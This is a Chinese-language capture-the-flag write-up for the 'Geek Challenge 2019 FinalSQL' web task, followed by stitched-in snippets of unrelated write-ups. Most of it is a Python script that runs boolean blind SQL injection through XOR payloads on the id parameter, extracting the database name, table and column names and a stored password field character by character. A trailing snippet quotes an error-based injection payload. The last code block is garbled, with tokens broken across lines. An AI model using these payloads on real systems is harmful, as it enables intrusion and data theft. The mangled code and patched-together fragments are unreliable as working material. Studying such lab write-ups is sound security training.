極客大挑戰 2019 FinalSQL

2021-10-10 17:02:39 字數 2465 閱讀 1076

這題按照提示是盲注了,注入點也是在id那裡,不過自己對於盲注學的實在是太菜了,利用的^這個姿勢:

?id=1

^(length(database())

<5)

^1

真假全靠中間的語句來判斷,然後寫乙個python指令碼來爆一下:

import requests

url=

'''''爆資料庫長度

''''''

for i in range(1,30):

payload='1^(length(database())=%d)^1'%i

r=requests.get(url=url+payload).text

if 'error!!!' not in r:

db_length=i

print("資料庫的長度是:%d"%i)

break

''''''

爆庫名'''

'''flag=''

for i in range(1,5):

min=32

max=125

while 1:

j=min+(max-min)//2

if min==j:

flag+=chr(j)

print(flag)

break

payload='1^(ascii(substr((database()),%d,1))<%d)^1'%(i,j)

r=requests.get(url=url+payload).text

if 'error!!!' in r:

min=j

else :

max=j

''''''

爆表名'''

'''flag=''

for i in range(1,100):

min=32

max=125

while 1:

j=min+(max-min)//2

if min==j:

flag+=chr(j)

print(flag)

break

payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1"%(i,j)

r=requests.get(url=url+payload).text

if 'error!!!' in r:

min=j

else :

max=j

''''''

爆列名'''

'''flag=''

for i in range(1,100):

min=32

max=125

while 1:

j=min+(max-min)//2

if min==j:

flag+=chr(j)

print(flag)

break

payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='f1nai1y')),%d,1))<%d)^1"%(i,j)

r=requests.get(url=url+payload).text

if 'error!!!' in r:

min=j

else :

max=j

''''''

爆flag

'''flag=

''for i in

range

(172

,800):

min=

32max

=125

while1:

j=min+

(max

-min)//

2ifmin==j:

flag+=

chr(j)

print

(flag)

break

payload=

"1^(ascii(substr((select(group_concat(password))from(f1nai1y)),%d,1))<%d)^1"

%(i,j)

r=requests.get(url=url+payload)

.text

if'error!!!'

in r:

min=j

else

:max

=j

因為對方主機的網路問題,而且flag大概差不多200多的內容,經過嘗試發現flag是在172開始的,但是最後還是會爆不全,最後建議乙個字母乙個字母的爆,就可以爆出flag了。

這題的注入姿勢其實挺簡單的,還是自己學習的太少,還要多學習啊!

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 HardSQL wp

有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...